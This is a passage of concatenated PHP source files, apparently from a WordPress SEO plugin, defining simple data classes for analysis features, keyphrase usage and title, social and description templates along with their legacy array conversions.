( \count( $this->enabled_analysis_features->parse_to_legacy_array() ) === 0 ) { foreach ( $this->plugin_features as $plugin_feature ) { $analysis_feature = new Analysis_Feature( $plugin_feature->is_enabled(), $plugin_feature->get_name(), $plugin_feature->get_legacy_key() ); $this->enabled_analysis_features->add_feature( $analysis_feature ); } } return $this->enabled_analysis_features; } /** * Returns the analysis list for the given names. * * @param array $feature_names The feature names to include. * * @return Analysis_Features_List The analysis list. */ public function get_features_by_keys( array $feature_names ): Analysis_Features_List { $enabled_analysis_features = new Analysis_Features_List(); foreach ( $this->plugin_features as $plugin_feature ) { if ( \in_array( $plugin_feature->get_name(), $feature_names, true ) ) { $analysis_feature = new Analysis_Feature( $plugin_feature->is_enabled(), $plugin_feature->get_name(), $plugin_feature->get_legacy_key() ); $enabled_analysis_features->add_feature( $analysis_feature ); } } return $enabled_analysis_features; } } domain/seo/keyphrase.php000066600000002713151733466440011331 0ustar00 */ private $keyphrase_usage_count; /** * The post types for the given post IDs. * * @var array */ private $keyphrase_usage_per_type; /** * The constructor. * * @param array $keyphrase_usage_count The keyphrase and the associated posts that use it. * @param array $keyphrase_usage_per_type The post types for the given post IDs. */ public function __construct( array $keyphrase_usage_count, array $keyphrase_usage_per_type ) { $this->keyphrase_usage_count = $keyphrase_usage_count; $this->keyphrase_usage_per_type = $keyphrase_usage_per_type; } /** * Returns the data as an array format. * * @return array */ public function to_array(): array { return [ 'keyphrase_usage' => $this->keyphrase_usage_count, 'keyphrase_usage_per_type' => $this->keyphrase_usage_per_type, ]; } /** * Returns the data as an array format meant for legacy use. * * @return array */ public function to_legacy_array(): array { return [ 'keyword_usage' => $this->keyphrase_usage_count, 'keyword_usage_post_types' => $this->keyphrase_usage_per_type, ]; } } domain/seo/title.php000066600000002544151733466440010461 0ustar00title_template = $title_template; $this->title_template_no_fallback = $title_template_no_fallback; } /** * Returns the data as an array format. * * @return array */ public function to_array(): array { return [ 'title_template' => $this->title_template, 'title_template_no_fallback' => $this->title_template_no_fallback, ]; } /** * Returns the data as an array format meant for legacy use. * * @return array */ public function to_legacy_array(): array { return [ 'title_template' => $this->title_template, 'title_template_no_fallback' => $this->title_template_no_fallback, ]; } } domain/seo/social.php000066600000004422151733466440010607 0ustar00social_title_template = $social_title_template; $this->social_description_template = $social_description_template; $this->social_image_template = $social_image_template; $this->social_first_content_image = $social_first_content_image; } /** * Returns the data as an array format. * * @return array */ public function to_array(): array { return [ 'social_title_template' => $this->social_title_template, 'social_description_template' => $this->social_description_template, 'social_image_template' => $this->social_image_template, 'first_content_image_social_preview' => $this->social_first_content_image, ]; } /** * Returns the data as an array format meant for legacy use. * * @return array */ public function to_legacy_array(): array { return [ 'social_title_template' => $this->social_title_template, 'social_description_template' => $this->social_description_template, 'social_image_template' => $this->social_image_template, 'first_content_image' => $this->social_first_content_image, ]; } } domain/seo/description.php000066600000002432151733466440011657 0ustar00description_date = $description_date; $this->description_template = $description_template; } /** * Returns the data as an array format. * * @return array */ public function to_array(): array { return [ 'description_template' => $this->description_template, 'description_date' => $this->description_date, ]; } /** * Returns the data as an array format meant for legacy use. * * @return array */ public function to_legacy_array(): array { return [ 'metadesc_template' => $this->description_template, 'metaDescriptionDate' => $this->description_date, ]; } } domain/analysis-features/analysis-features-list.php000066600000002410151733466440016611 0ustar00 */ private $features = []; /** * Adds an analysis feature to the list. * * @param Analysis_Feature $feature The analysis feature to add. * * @return void */ public function add_feature( Analysis_Feature $feature ): void { $this->features[] = $feature; } /** * Parses the feature list to a legacy ready array representation. * * @return array The list presented as a key value representation. */ public function parse_to_legacy_array(): array { $array = []; foreach ( $this->features as $feature ) { $array = \array_merge( $array, $feature->to_legacy_array() ); } return $array; } /** * Parses the feature list to an array representation. * * @return array The list presented as a key value representation. */ public function to_array(): array { $array = []; foreach ( $this->features as $feature ) { $array = \array_merge( $array, $feature->to_array() ); } return $array; } } domain/analysis-features/analysis-feature.php000066600000003455151733466440015467 0ustar00is_enabled = $is_enabled; $this->name = $name; $this->legacy_key = $legacy_key; } /** * If the feature is enabled. * * @return bool If the feature is enabled. */ public function is_enabled(): bool { return $this->is_enabled; } /** * Gets the identifier. * * @return string The feature identifier. */ public function get_name(): string { return $this->name; } /** * Return this object represented by a key value array. * * @return array Returns the name and if the feature is enabled. */ public function to_array(): array { return [ $this->name => $this->is_enabled ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ $this->legacy_key => $this->is_enabled ]; } } domain/analysis-features/analysis-feature-interface.php000066600000001221151733466440017412 0ustar00 Returns the name and if the feature is enabled. */ public function to_array(): array; /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array; }